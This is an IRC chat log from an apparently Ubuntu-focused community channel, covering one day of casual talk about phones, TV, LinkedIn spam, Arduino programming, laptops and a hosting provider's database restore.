[06:32] <jussi> hello everyone. hope you are all waking up to a wonderful week...
[07:01] <MooDoo> morning all
[07:06] <Myrtti> ali1234: "Nokia finally gives up after consistently terrible Winows Phone sales. Branding and patents sold to Microsoft. Everything else sold to Huawei." The huawei part didn't happen afaik?
[07:11] <Myrtti> also: I clearly care too much
[07:13] <MooDoo> yeah I think you do Myrtti :)
[07:17] <Myrtti> especially when I've cursed pretty much every No* company that operates in Finland to the lowest pits of hell
[08:04] <directhex> having recently used low-end android and firefoxos devices, windows phone is light years ahead of them on low spec devices
[08:07] <mapps> hmm
[08:08] <MartijnVdS> directhex: except there are apps for android
[08:08] <directhex> MartijnVdS, there are apps, but every second of using the device is unending agony
[08:08] <directhex> and the apps essentially unuseable due to no responsiveness
[08:09] <MartijnVdS> directhex: as opposed to WinPhones, which don't have apps and you're using windows.
[08:09] <directhex> MartijnVdS, how much windows phone (7+) experience do you have?
[08:09] <MartijnVdS> directhex: about 2 weeks
[08:10] <MartijnVdS> directhex: couldn't get used to it
[08:15] <directhex> MartijnVdS, android on "fast" devices, fine - throw enough ghz at android and it papers over the input stack, and the apps all run okay. a device like the nexus 4 is the bare minimum for android to be an acceptable experience. move down the scale into budget land and every terrible thing about android becomes accentuated
[08:16] <directhex> whereas down the scale, the best features of windows phone become much clearer by comparison. yes there are fewer apps - but an old single-core lumia 610 is a hundred times more usable than a dual-core 1ghz android device like a huawei y300
[08:46] <SuperMatt> word up homnies
[08:46] <SuperMatt> -n
[08:47] <Myrtti> I'm wondering should I uninstall facebook and install tinfoil for facebook instead
[08:48] <Myrtti> on my N5
[08:50] <DJones> Myrtti: Interesting app, hadn't heard of that
[08:52] <Myrtti> DJones: found it last night while searching stuff from F-droid
[08:56] <DJones> Facebook does appear to be trying to make it possible too much info on users (in that it gives permissions it doesn't need) so sounds a good option, although I guess if people are concerned about that, they'd also be concerned about using a 3rd party app and potentially letting that have access to their data.  Swings and roundabout, who do you trust, I see this does give info for people to check the code, but how many users would actually be ...
[08:56] <DJones> ... capeable of understanding it, so at the end of the day, it comes down to who you trust to be honest and what info are you prepared to make available
[08:57] <Myrtti> indeed, that's the reason I haven't installed it yet
[08:58] <DJones> Must admit, I'd be the same, no matter how much I may distrust an 'official' app, I like to see personal recommendations from people I trust or have respect for before I'd install a 3rd party app
[08:59] <DJones> Not that I'm overly paranoid, just careful of to who & what info I allow out (as much as possible anyway)
[09:01] <mapps> man
[09:01] <mapps> i love the wire
[09:02] <DJones> Did anybody here watch Sherlock last night, recorded it, but comments I've read about it suggest it was so far off the wall that it wasn't an enjoyable experience
[09:03] <directhex> i liked the bit where sherlock went into his tardis
[09:03] <AlanBell> DJones: I liked it better than the previous episode
[09:03] <BigRedS> DJones: tinfoil's just the browser with a different profile AFAIK; it's certainly the facebook site rather than an actual app
[09:03] <BigRedS> there's no data at all if there's no net connection, for instance
[09:03] <bigcalm> Good morning peeps :)
[09:03] <DJones> AlanBell: Yeah, previous episode was aweful I'm afraid
[09:03] <dwatkins> DJones: I havn't seen it yet, but I hope it's good.
[09:04] <mapps> na not i
[09:04] <DJones> hmmh, maybe give it a chance then, if its got a Tardis it must be good
[09:04] <mapps> y'all watched the wire?
[09:04] <jussi> has anyone here got experience with those converters that convert your car to be able ot use RE85 (15% ethanol?)
[09:04] <mapps> love the wire so much
[09:04] <mapps> ethanol?!
[09:05] <mapps> isnt that alcohol
[09:05] <MartijnVdS> mapps: it is
[09:05] <mapps> thankyou sir:D
[09:05] <jussi> err, I mean 15% gasoline, 85% ethanol
[09:05] <mapps> MartijnVdS,  i cant remember where are you compared to say redlight on holland
[09:06] <mapps> you are near?
[09:06] <jussi> http://en.wikipedia.org/wiki/E85
[09:06] <MartijnVdS> mapps: I'm in Amsterdam
[09:06] <mapps> yes  know:D
[09:06] <mapps> but i mean how near red light
[09:06] <MartijnVdS> mapps: then I don't understand the question
[09:07] <mapps> hmm
[09:07] <MartijnVdS> mapps: ah.. 15-30 minutes? Just like *everything* in Amsterdam ;)
[09:07] <mapps> how near to the redlight are yu
[09:07] <mapps> aha
[09:07] <mapps> ok
[09:07] <mapps> :)
[09:07] <mapps> you know where hard rock cafe is?
[09:07] <MartijnVdS> I have no idea
[09:07] <Myrtti> just as a reminder, please keep the Sherlock spoilers at bay... I think the usual grace period is 7 days...
[09:08] <mapps> ah
[09:08] <mapps> was just funny to see some girl say 'aha yes we can cycle in holland because you wont get raped'
[09:08] <mapps> :D
[09:08] <mapps> i asked her howcome so many people cycle after dark
[09:08] <mapps> lol
[09:08] <diplo> Morning all
[09:08] <mapps> morning
[09:09] <DJones> jussi: A friend of ours got a conversion kit to run his car on chip oil, that worked ok, but ended up making him and his passengers smell like a chip shop
[09:09] <jussi> hehe
[09:10] <MartijnVdS> DJones: you can fix that by smoking inside the car as well
[09:10] <jussi> DJones: Im looking at somehting like this: http://www.alibaba.com/product-detail/EcoBox-E85-Ethanol-Biofuel-Flexfuel-Aftermarket_131703483.html
[09:10] <MartijnVdS> DJones: then they smell like 70s-80s chip shop 8-)
[09:10] <DJones> MartijnVdS: That just ends up smelling of smoked fish
[09:11] <MartijnVdS> jussi: doesn't ethanol burn hotter, potentially damaging the engine?
[09:11] <jussi> MartijnVdS: no idea, hence asking...
[09:12] <MartijnVdS> jussi: http://auto.howstuffworks.com/fuel-efficiency/alternative-fuels/ethanol-damage-engine.htm
[09:13] <jussi> MartijnVdS: but that is talking about E15, for cars without a converter
[09:13] <DJones> From memory, don't US racecars (NASCAR/CART) use ethanol as a fuel rather than petrol, I seem to remember it being commented on and that when there's a crash/fire, the flame is invisible and they just use buckets of water to put it out because its soluble
[09:14] <jussi> DJones: yeah, somethign like that
[09:14] <DJones> Just looking, NASCAR is '110 octane gasoline', CART is Methanol
[09:15] <MartijnVdS> jussi: http://www.ask.com/question/will-e85-hurt-my-car
[09:16] <mapps> urgh
[09:16] <mapps> gotta shower/change and ress up smart
[09:16] <mapps> *dress
[09:16] <DJones> MartijnVdS: I looked at that link and read it as "Will E45 cream hurt my car" :)
[09:16] <mapps> getting train in a bit;/
[09:16] <MartijnVdS> DJones: those E-numbers!
[09:16] <DJones> No kidding
[09:16] <DJones> Just give me the blue smarties
[09:17] <MartijnVdS> those have the most E-numbers?
[09:18] <DJones> Probably not now, but my wife couldn't have any smarties as a child because of the E number in them, would send her into anaphalactic shock
[09:18] <MartijnVdS> I wonder.. does E have an E number?
[09:18] <MartijnVdS> (aka http://en.wikipedia.org/wiki/MDMA)
[09:20] <bigcalm> This is odd
[09:20] <bigcalm> Using the super key, or clicking the ubuntu icon, make the dash appear for a split second before disappearing
[09:20] <bigcalm> Which means that I can't use the dash right now. Anybody else seen this happen?
[09:26] <brobostigon> [A
[09:26] <brobostigon> good morning everyone.
[09:30] <bashrc> morning
[09:30] <diplo> bigcalm: Mines unresponsive for a while after boot up, a couple of mins at least
[09:30] <SuperMatt> morning guys
[09:30] <brobostigon> morning
[09:30] <diplo> Thought it was more to do with this machine, think it's slowly dieing
[09:34] <JamesTait> Good morning all; happy Make Your Dream Come True Day! :-D
[09:35] <JamesTait> Thanks for the tip, MartijnVdS - Bubble Wrap Day. :)
[09:35] <daubers> Morning
[09:39] <MooDoo> morning
[09:41] <foobarry> smarties don't taste v nice anymore
[09:41] <foobarry> tried some a few months back. they taste of cardboard
[09:42] <bigcalm> ARGH. Windows and spinning rust is so damn slow!
[09:42] <MooDoo> spinning rust?
[09:43] <bigcalm> MooDoo: HDD
[09:43] <bigcalm> MooDoo: I have Ubuntu on my SSD
[09:43] <MooDoo> well ubuntu would be just as slow on a hdd you can't blame windows for that :p
[09:45] <dwatkins> I have Ubuntu on a MicroSD card.
[09:48] <jussi> ahh the small pleasures in life....
[09:48] <jussi> the skin of the chicken after it has been baked...onomonom...
[09:49] <jussi> plus with the added bonus that my wife doesnt like it, so I get double :)
[09:50] <bigcalm> popey: Dell Inspiron 15 http://www.dell.com/uk/p/inspiron-15-7537/pd?oc=cn75305&model_id=inspiron-15-7537
[09:55] <dwatkins> I like the skin of the custard.
[09:56] <foobarry> ewww
[09:56] <foobarry> worst thing ever is tea skin
[09:56] <MartijnVdS> foobarry: just send it to dwatkins then ;)
[09:57] <foobarry> i hate tea. i hate skin on tea * 1000
[09:57] <MartijnVdS> oh *tea* skin, not *the* skin
[09:57] <foobarry> the one that forms on a cold cup
[10:07] <MartijnVdS> foobarry: it's not the cold cup that's the problem, it's the calcium content of the water.
[10:09] <SuperMatt> CURSE YOU CALCIUM!
[10:09] <foobarry> in london, the water is chewy
[10:10] <MartijnVdS> foobarry: big, hairy, can fix hyperdrives?
[10:10] <foobarry> rawwwr
[10:11] <SuperMatt> I've never had chewy water in London
[10:12] <SuperMatt> Canterbury was probably the worst place I've lived for water chewiness
[10:12] <directhex> the alternative to chewy water is tasteless nonsense water
[10:12] <directhex> suitable for ironing clothes only
[10:12] <MartijnVdS> they extract most of the calcium here
[10:14] <popey> tea never gets an opportunity to get a skin here
[10:14] <popey> used to happen often when the kids were babies
[10:14] <popey> directhex:  [   R: 25.36]
[10:14] <MartijnVdS> now they help get rid of it before it's cold? :)
[10:15] <popey> http://paste.ubuntu.com/6743801/
[10:15] <popey> we used to leave them and fall asleep more
[10:15] <popey> or we'd forget them as we were off putting kids to bed / feeding
[10:15] <popey> we also used to never eat together when they were babies
[10:15] <foobarry> i always climbed into bed at same time as missis before kids came
[10:16] <popey> bigcalm: looks pretty sweet!
[10:16] <foobarry> now one of use sometimes goes at 8.30pm
[10:16] <popey> how old is your youngest now?
[10:16] <foobarry> 10mo's
[10:16] <popey> awww
[10:16] <foobarry> at the "babba, babba, mammmma" talky stage
[10:16] <foobarry> smiles at daddy when he walks in room
[10:17] <foobarry> as opposed to my son who turns 4 tomorrow, who could be "HELLO DADDY!" or "DADDY GO AWAY, OUT OF THE ROOM"
[10:17] <MooDoo> my youngest is 2 and at the "no I won't do it" stage
[10:17] <foobarry> depending on which way the wind is blowing
[10:17] <bigcalm> popey: hopefully it'll last longer than my current one. By ordering top spec in the consumer market, I won't be pissed off as soon as it gets here
[10:17] <MooDoo> oldest is 5 and at the "grunt i'm on the DS" stage  lol
[10:18] <popey> bigcalm: what's the current machine?
[10:18] <bigcalm> popey: a pos ;)
[10:18] <popey> if i got "grunt I'm on the ds" then they would very soon no longer be on the ds
[10:18] <foobarry> ds is used just for haircuts atm
[10:19] <foobarry> although tablet is used when on my lap.
[10:19] <foobarry> the snowman and snowdog game from 2012 xmas is amazing, rather than the terrible one from xmas this year
[10:19] <MooDoo> popey: we're the same :) lol although the worst thing I can do at the moment is ban him from minecraft lol
[10:19] <bigcalm> popey: 1st gen 13, 4gb ram, 1366x768 res - everything is against sensible development
[10:19] <foobarry> drawing pad games on the tablet are great too
[10:21] <foobarry> somehow my son drew this the other day http://i.imgur.com/gHoBuBw.jpg
[10:23] <popey> bigcalm: what res is the new one?
[10:23] <TwistedLucidity> foobarry: Mr. Hankie?
[10:24] <bigcalm> popey: 1920 x 1080
[10:24] <popey> nice
[10:24] <bigcalm> I hope so :)
[10:25] <foobarry> self portrait i think TwistedLucidity :P
[10:25] <foobarry> although he is blond and blue eyed
[10:27] <TwistedLucidity> Well, it's better than I can do!
[10:28] <foobarry> the ability of children to learn never ceases to amaze me
[10:29] <popey> czajkowski: http://imgur.com/gallery/dpeNSSj
[10:30] <foobarry> lol
[10:30] <popey> bigcalm: you going to run windows 8 on it?
[10:30] <foobarry> thats a sore point after my dog pooed and vmoited blood all over the house on xmas eve
[10:33] <popey> TheOpenSourcerer: https://blog.1407.org/2014/01/10/got-my-windows-refund-and-so-can-you
[10:33] <popey> seems like a lot of effort
[10:33] <popey> but worth doing if you want that 40 eur or so
[10:35] <TheOpenSourcerer> And simply for the principle of the thing.
[10:36] <popey> https://www.youtube.com/watch?v=wXfLrt90CHM
[10:36] <popey> watch
[10:39] <foobarry> i wish lubotu3 would tell us the title of youtube links
[10:49] <foobarry> daily mail have been looking for a linux admin for quite a while now
[10:50] <bigcalm> popey: I'm not sure. The machine will have the power to play games. So do I repartition the HDD and dual boot? Or run Ubuntu server in a VM? Or replace the HDD with my spare SSD and do one of those two?
[10:50] <SuperMatt> I don't think there are many linux experts who would consider working for the daily mail
[10:50] <SuperMatt> I couldn't cope with the cognative dissonance
[10:50] <ali1234> i would do a snowden
[10:51] <foobarry> i worked for a bank, i could do a paper
[10:51] <knightwise> mornin everyone
[10:51] <ali1234> leak all their emails etc
[10:51] <bigcalm> popey: I have a feeling that I won't even power on the laptop when I get it until I've replaced the HDD with the SSD
[10:51] <popey> take the hdd out and put to one side?
[10:51] <bigcalm> popey: yes
[10:52] <foobarry> actually, thinking about it...i would struggle working for any newspaper
[10:52] <foobarry> 55 applicants via linkedin
[10:52] <davmor2> Morning all
[10:53] <foobarry> http://www.linkedin.com/jobs2/view/9813446
[10:53] <bigcalm> popey: I'll likely put Ubuntu on the whole of the SSD and keep gaming to my workstation
[10:53] <bigcalm> Morning davmor2
[10:54] <czajkowski> popey: ROFLOL
[10:55] <davmor2> bigcalm: nice weekend?
[10:55] <bigcalm> davmor2: massage on Saturday, ordered a new mattress on Sunday, got fed up with laptop last night and ordered a new one
[10:56] <bigcalm> davmor2: expensive weekend, but good ta
[10:56] <bigcalm> davmor2: yourself?
[10:56] <popey> I want to see how long I can make my x220 last
[10:56] <popey> given I've invested a bit in it
[10:56] <bigcalm> popey: it was legacy ATI hardware in my current laptop that forced me back onto Windows :(
[10:56] <popey> suppose I should update to trusty
[10:56] <popey> eww
[10:56] <bigcalm> I know
[10:56] <davmor2> bigcalm: we went to a party for 20 minutes other than that it was mostly just back and forth to the mother in laws not so exciting
[10:57] <bigcalm> davmor2: a lot of damage can be acheived in 20 mins ;)
[10:57] <foobarry> jaegerbombs?
[10:57] <bigcalm> popey: did a dist-upgrade on my workstation this morning. It did something horrible to the graphics so I'm now using Windows for the day
[10:59] <davmor2> bigcalm: yeah we couldn't hear or talk and got a headache from the music and the noise of 100 people shouting at each other, apparently the music got louder and worse as the night went on so we were really glad to of gone :)
[10:59] <bigcalm> Not a fun time
[11:07] <TwistedLucidity> davmor2: You want "MaxLites". https://sites.google.com/site/earplugsbypost/gallery
[11:07] <TwistedLucidity> :)
[11:08] <davmor2> bigcalm: apparently they played no slow songs at the end of the night and no reggae even though that is the kinda music that was expected so really not gonna be a DJ for them again me thinks :D
[11:09]  * foobarry puts allegri's  miserere on the headphones to filter noise from the office
[11:11] <dwatkins> I have an app that generates the sound of rain for times when I want to not listen to music, but need to block out sound.
[11:11] <foobarry> clementine does rain
[11:11] <foobarry> also does hypnotoad..do not click that button
[11:12] <foobarry> rain + miserere goes really well, like some episode of morse
[11:19] <foobarry> 3 emails from linkedin today. stop it!
[11:21] <directhex> the world clearly needs more ouya clones. http://hexus.net/gaming/news/android/64801-huawei-tron-android-mini-console-launch-may-120/
[11:41] <SuperMatt> foobarry: I hate all the linked in emails I get. I'm *on* linked in, but with a different email address to that which my friends use
[11:42] <SuperMatt> so people try to search for me on my freinds email address, rather than my professional email address
[11:45] <popey> i deleted my linkedin account. it served zero purpose
[11:45] <SuperMatt> I might do the same
[11:45] <BigRedS> yeah, I know a few people who've done that recently
[11:45] <BigRedS> I've just sort-of left mine be; it doesn't seem to be doing any harm
[11:46] <popey> i just kept getting spam from it
[11:46] <SuperMatt> but the thing is, as soon as I created a linked in account, I got a lot of recruiters wanting to put me forward for jobs
[11:46] <popey> although to be fair i know my current employer looked me up on it before I joined
[11:46] <SuperMatt> having said that, I didn't actually get my new job through one of those guys
[11:47] <BigRedS> when I was last looking for work I got a few phone interviews out of it
[11:47] <BigRedS> but not with anyone I actually wanted to work for
[11:56] <foobarry> most of the people with best LI profiles are useless numpties
[11:57] <popey> "best"
[11:57] <foobarry> "most impressive sounding"
[11:57] <MooDoo> ah it's not just me then that's getting spam from linkedin
[11:57] <foobarry> to inflate their ego and cover over their incapacity to produce anything of worth
[11:58] <foobarry> its mostly mutual masturbation for project managers
[11:58] <popey> yeah, i used to get mail from it all the time, now I get zero
[11:58] <dwatkins> People still use LinkedIn? How quaint.
[11:59] <foobarry> i use it to see when coleagues are about to move on
[11:59] <TwistedLucidity> Yeah, all the cool suits now use "Yammer" :-S
[11:59] <dwatkins> I've had a couple managers ask me if it's ok to contact people I used to work with to send them job-specs, but other than that, I've never used it apart from adding people because I felt I should.
[11:59] <Myrtti> but yammer is for internal stuff
[11:59] <TwistedLucidity> I know; sarcasm.
[11:59] <dwatkins> Yammer is indeed for internal stuff, although I'd be a bit hesitant to have a discussion on there, considering it's owned by Microsoft.
[11:59] <foobarry> when certain dormant people suddnely show activity and getting "endorsements" you know they are looking to move
[11:59] <TwistedLucidity> I have all my Yammer stuff directed to trash.
[12:00] <Myrtti> we've got so many 'intranets' I want to scream
[12:00] <dwatkins> Myrtti: sounds familiar
[12:00] <Myrtti> and believe me, in comparison to some that we've got, Yammer is my favourite
[12:00] <foobarry> lol
[12:00] <TwistedLucidity> Myrtti: You need an interintranet.
[12:00] <dwatkins> one intranet to bind them, and in the darkness of the internal network find them....
[12:00] <Myrtti> it doesn't look like it was made in 1998
[12:00] <Myrtti> *cough* ning
[12:01] <dwatkins> keming?
[12:01] <dwatkins> (also known as kerning)
[12:01] <Myrtti> no, ning.
[12:01] <popey> foobarry: another reason not to use it IMO ☻
[12:03] <foobarry> agree
[12:03] <foobarry> i guess its FOMO
[12:04] <foobarry> fear of missing out ...on that job offer of a lifetime etc etc
[12:04] <TwistedLucidity> I keep getting recruiters contact me via LI. PITA.
[12:05] <dwatkins> I get a lot of recruiters e-mailing me because I put 'PHP' on my CV, but if you actually read it, I'm not a developer.
[12:05] <Seeker`> I keep on getting recruiters send me emails about writing PHP
[12:05] <Seeker`> dwatkins++
[12:06] <dwatkins> It's a good way to tell if they've actually bothered paying attention to it.
[12:06] <popey> i still get people email me 2 years after I quit SAP
[12:06] <popey> I keep telling them to remove me, but they don't (unsurprisingly)
[12:06] <dwatkins> I'm tempted to write a stock response asking if they bothered reading my CV, but I can't be bothered, as they probably swouldn't read it.
[12:06] <SuperMatt> Oh god, when I got my *current* job, I got SO MANY calls about being windows desktop support, despite making it clear that I was already doing that and was looking to become a Linux administrator
[12:06] <popey> http://www.ebay.co.uk/itm/300976411515 en route!
[12:06] <davmor2> popey: is that because they are saps?
[12:07] <popey> wakka wakka
[12:07] <Seeker`> popey: didn't you already solder up a motor board?
[12:07] <popey> probably wont arrive for a month from china
[12:07] <popey> yeah, a pi one
[12:07] <Seeker`> ahh
[12:07] <popey> I want to try pi and arduino
[12:07] <bashrc> arduino is very easy to program
[12:08] <popey> I'd need some kind of wifi shield though
[12:09] <SuperMatt> they're nitce and easy to get hold of
[12:09] <SuperMatt> t
[12:09] <dwatkins> would ethernet not suffice? I have an Edimax USB dongle on my Pi.
[12:09] <popey> its going on a robot
[12:09] <davmor2> bashrc: it's only easy to program if you get the fundamentals of programming surely
[12:09] <popey> so no
[12:09] <dwatkins> ah ok
[12:09] <dwatkins> there's also XBee, popey., as you may be aware
[12:09] <popey> true
[12:10] <bashrc> davmor2: in the past I used other microcontrollers, and programming them was much harder
[12:14] <Seeker`> bashrc: that doesn't change the fact that you still need to be able to write C to write for an arduino :P
[12:14] <Seeker`> or a C-like language
[12:15] <bashrc> Seeker: that's true, but C must be one of the simplest languages.
[12:17] <foobarry> good to see bbc continuing coverage of the dornier restoration http://www.bbc.co.uk/news/uk-25665313?post_id=100004871043663_231606443678389#_=
[12:18] <bashrc> eek. closed IRC when I meant to close libreoffice
[12:18] <Seeker`> oh noes
[12:18]  * lazarus_ dislikes bbc
[12:18] <Seeker`> the world has ende....oh wait
[12:19] <foobarry> starting to get bored of the sandwich selection in sainsburys. but there's nowhere else round here for lunch options
[12:20] <davmor2> foobarry: gregs, subway? those 2 are everywhere
[12:27] <ali1234> bashrc: arduino is only easy to program if you are not doing anything time-critical. if you are, then the C++ code is way too slow
[12:27] <czajkowski> davmor2: boo
[12:27] <ali1234> and not just slow but also unpredictable
[12:30] <davmor2> czajkowski: AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!
[12:31] <ali1234> popey: why do you need a wifi shield? why not just plug in a usb wifi to the pi?
[12:31] <popey> ali1234: because i am trying two options, pi and arduino
[12:32] <ali1234> oh i see. i thought you were going to combine them
[12:32] <popey> and if using arduino, how does it talk to my computer without a cable
[12:32] <bashrc> aduino is only 8 bit, so it doesn't have a lot of processing power
[12:32] <popey> ah right, no.
[12:32] <bashrc> or maybe 16 bit
[12:32] <ali1234> no, 8 bit was right
[12:32] <lazarus_> can anyone recommend a uk supplier for linux laptops/desktops apart from dell i have asked b4 but the list i was given yielded little to no results
[12:33] <bashrc> so I don't think you could do really time critical stuff, such as audio stream analysis
[12:33] <directhex> lazarus_, typically you pay more to get the HW without windows. do you mind?
[12:33] <foobarry> davmor2: not in the wastelands of E1
[12:34] <foobarry> actualyl there is a subway but they give me bellyache and subway burps 10hrs later
[12:34] <ali1234> bashrc: time critical in this case means filling the UART fifo and not getting an underrun. or bit banging pins and achieving an exact clock rate
[12:35] <ali1234> software serial/i2c/spi for example
[12:35] <lazarus_> directhex: im just looking i currently have a system76 laptop and the import fees are crazy
[12:35] <davmor2> foobarry: in that case sucks to be you :(
[12:35] <bashrc> avoid importing heavy things
[12:35] <davmor2> foobarry: you could always make sandwiches I guess
[12:35] <foobarry> i would end up with even less choice than sainsbury
[12:36] <foobarry> prob end up with ham sarnie every day
[12:36] <ali1234> the arduino digitalWrite() is about 20x slower than direct pin setting
[12:36] <foobarry> we only just got the sinsburys in the last 12 months
[12:36] <ali1234> and the arduino libraries use interrupts that mess up your timing
[12:36] <ali1234> the only way to do this kind of thing on arduino is to not use any of their libraries at all and just use avr-gcc direct
[12:36] <davmor2> foobarry: just have the cheese ploughmans
[12:38] <foobarry> almost. i have ham+egg . not keen on cheese or ploughs
[12:39] <popey> http://rutube.ru/video/875caab912d40793e0c7158cad6239a8/ want
[12:40] <davmor2> popey: NO!!
[12:40] <ali1234> those things are pretty dangerous
[12:41] <davmor2> ali1234: and popey is dangerous enough without one
[12:41] <ali1234> it's basically a gun
[12:41] <davmor2> ali1234: technically a canon
[12:41] <ali1234> technically yes
[12:41] <ali1234> but it is as dangerous as a gun
[12:41] <lazarus_> that thing is cool
[12:42] <bigcalm> popey: it's you and the ignightor in minecraft all over again
[12:42] <lazarus_> i want one
[12:42] <foobarry> http://sugru.com/gallery/fix-the-red-ring-of-death-rrod-on-an-xbox-360
[12:42] <popey> it still makes me chuckle when I see a tree alight in minecraft I remember ali1234 on my first server putting out the conflagration and leaving a sign post saying "Only you can prevent forest fires"
[12:43] <foobarry> sugru is the new duct tape
[12:43] <MartijnVdS> foobarry: it is!
[12:44] <MartijnVdS> such useful!
[12:44] <ali1234> that's actually quite a clever hack... using it to push down the loose chips
[12:45] <ali1234> i would be worried about it lighting on fire tho
[12:45] <MartijnVdS> ali1234: it can 180
[12:46] <MartijnVdS> it's fine up to 180°C
[12:46] <foobarry> The product is not flammable, but will decompose if involved in a fire, producing smoke, and toxic fumes and gases.
[12:46] <ali1234> but can it 360?
[12:46] <MartijnVdS> ali1234: 8-)
[12:46] <MartijnVdS> ali1234: wait, is that what the "360"  in XBox 360 stands for
[12:46] <popey> i discovered howdoicomputer.com and was disappointed it was already registered
[12:48] <foobarry> nokia are doing an android phone?
[12:48] <popey> seems so
[12:48] <foobarry> looks meh
[12:48] <popey> http://phandroid.com/2014/01/13/nokia-normandy-prototype/
[12:48] <popey> all android phones look meh ☻
[12:48] <foobarry> no
[12:49] <popey> some sony ones are nice and oppo
[12:49] <popey> oh and I hear the meizu mx3 is awesome ㋛
[12:50] <davmor2> popey: hahaha
[12:50] <foobarry> picked up 2 sharpies in the shop for 89p
[12:50] <foobarry> usually a pack of 2 is £3
[12:51] <popey> ooh, i need a couple of new sharpies
[12:51] <directhex> and a shar-pei
[12:51] <foobarry> was in sainsburys getting rid of new term stock
[12:51] <foobarry> overheard 2 students "oi dave, didn't you pay £12 for 10 of these?"
[12:54] <Myrtti> I just love these online 'order a pizza' services
[12:55] <Myrtti> although being brainwashed to just eat makes me automatically want to order pizza from there - when I'm in Finland.
[12:57] <Dave2> doesn't it exist there?
[12:58] <Myrtti> of course not
[12:58] <Dave2> Why of course? I think the first time I saw Just Eat was when I was in Denmark.
[12:58] <Myrtti> well look at that
[12:59] <Myrtti> I never realised it was something else than just-eat.co.uk
[13:02] <foobarry> chewbaca has released a load of cool SW shots https://twitter.com/TheWookieeRoars
[13:16] <dwatkins> awesome, foobarry
[13:26] <lazarus_> https://www.system76.com/laptops/model/daru4 wants
[13:26] <SuperMatt> hurr, the daily mail are angry about last night's sherlock
[13:30] <MartijnVdS> guardian seemed to like it
[13:33] <ali1234> does anyone want a copy of humble bundle X?
[13:33] <ali1234> i bought it twice by accident
[13:35] <popey> oh i missed sherlock
[13:40] <MooDoo> popey: it was quite good
[13:43] <jussi> ali1234: what was in it?
[13:45] <jussi> ali1234: just looked... interesting... how much you want for it? (or are you donating to me... :D )
[13:47] <ali1234> i can only give you the steam keys because i didn't select the gift option
[13:50] <ali1234> actually maybe that isn't true
[13:59]  * MartijnVdS has about €1 in his steam account from selling trading cards.. can you actually *do* something with those things, except sell them?
[14:00] <ali1234> trade them for hats?
[14:00] <MartijnVdS> ali1234: hats? for what?
[14:00] <ali1234> for tf2 obviously
[14:00] <MartijnVdS> ali1234: I only play single-player games.
[14:01] <foobarry> TIL that koo stark played camie in star wars but her scenes didn't make the film
[14:01] <foobarry> some youtubing later methings
[14:01] <foobarry> http://starwars.wikia.com/wiki/Camie_Loneozner
[14:06] <foobarry> 4th linked in email today...that does it
[14:42] <Myrtti> nnnnggghhhh the hosting provider for a website I've been webmistressing for ten years fubar'd the databases and they had to restore a backup from two weeks ago.... well then again they did have backups and all is not lost but still
[14:45] <SuperMatt> two weeks is hideously old though
[14:45] <Myrtti> I know
[14:46] <Myrtti> but I was ready to call it quits because I thought the database had exceeded quota or something had irreversibly broken
[14:46] <knightwise> do you guys know of any other ubuntu spins that are based on the AMD 64 MAC architecture distro ?
[14:46] <knightwise> I want to give my wifes imac a new lease on life
[14:51] <MartijnVdS> Sorry, Apple doesn't allow that. Please buy moar hardware.
[14:52] <lazarus_> hehe MartijnVdS
[14:52] <Myrtti> well, my nearly primal reaction is finally flattening out
[15:03]  * bigcalm wants his new laptop now. I order it last night. I don;t think I'm demanding too much
[15:04] <bigcalm> Guess it needs to be assembled and shipped from China
[15:04] <bigcalm> That said, I ordered a pre-configured device, wonder if it'll be any quicker than my last laptop
[15:05] <MartijnVdS> to arrive, or to run? :)
[15:06] <bigcalm> Hehe
[15:06] <bigcalm> MartijnVdS: to arrive. I do hope the 4th gen i7 will run more quickly than my 1st gen i3
[15:08] <MartijnVdS> bigcalm: probably :)
[15:08] <MartijnVdS> bigcalm: mine does ;)
[15:16] <dwatkins> whoever invented the connectors on car stereos is very cruel, they're all very similar
[15:17] <bashrc> similar but oddly different
[15:17] <Azelphur> I love how my ISP has got to the point that it's throttling minecraft specifically
[15:17] <Azelphur> xD
[15:17] <dwatkins> yeah, bashrc - thankfully
[15:18] <Azelphur> If I connect directly, I can't do anything, my bitrate drops to <1KB/sec and nothing loads, if I SSH tunnel to the minecraft server and connect through that, everything magically works :P
[15:18] <dwatkins> still a bit of a nightmare connecting it up, especially with the orange, red and yellow wires. Looks like I got it right, although the stalk control doesn't work.
[15:18] <bashrc> I've never played mindcrack
[15:19] <Laney> HAHA
[15:19] <Laney> there's a drunk caller on 6 music atm
[15:19] <MartijnVdS> dwatkins: there's a special adapter to switch those 12V-always_on and 12V-only_when_car_is_running cables
[15:19] <MartijnVdS> I have that in mine
[15:20] <MartijnVdS> cables=wires
[15:21] <dwatkins> MartijnVdS: yeah, yellow vs orange
[15:23] <dwatkins> I think it's just failed to load the driver for the stalk control, everything else seems ok
[15:23] <MartijnVdS> but fewer and fewer new cars seem to have those
[15:54] <bigcalm> I keep doing ctrl alt t ... in windows
[15:54] <bigcalm> Wonder if I can map that to putty
[15:57] <SuperMatt> I have scale mapped to the top left corner
[15:57] <SuperMatt> When I want to swicth apps in windows, I move my mouse up there and then remember it doesn't work :(
[15:57] <SuperMatt> I'm really surprised that feature didn't make in to windows 7 or 8 considering linux and osx have had it for ages
[16:07] <dwatkins> I keep thinking it's gone 5pm because it has in Germany
[16:10] <SuperMatt> oh, I didn't realise it was quite so late
[16:10] <SuperMatt> that puts a smile on my face
[16:10] <dwatkins> yeah, today has gone quickly
[16:10] <SuperMatt> only 80 minutes until home time
[16:30] <SuperMatt> lazarus keeos coming back from the dead.
[17:00] <Myrtti> hm, I just realised that the hosting company hasn't yet sent an email about this database thing
[17:01] <Myrtti> now I'm annoyed and angry again
[17:04] <bashrc> database thing?
[17:06] <Myrtti> yeah, apparently an employee of a hosting company of a website I've been webmistressing for ten years now messed up both the database and the immediate backups of them, and they had to restore from two weeks old backups
[17:06] <Myrtti> I only noticed the apology and notification about this because someone linked to it on an IRC channel I happened to be in
[18:02] <bigcalm> Wow http://www.youtube.com/watch?v=HOfll06X16c
[18:28] <MartijnVdS> bigcalm: is that Gary's Mod Extreme? :)
[18:40] <diddledan> the portals at the end blow my mind
[18:47] <popey> Laney: is there any chance someone might take a look at backporting mumble client to s & p (at least) ?
[18:48] <popey> 1.2.4 in trusty has better codec support, and our current p and s users end up grabbing newer upstream versions because servers require it
[18:48] <diddledan> why did sony move away from the cell processor tech?
[18:48] <popey> hard to code for?
[18:48] <diddledan> maybe
[18:49] <diddledan> I'm just watching this: http://www.youtube.com/watch?v=dmZSU0793hQ about the evolution of playstation gfx
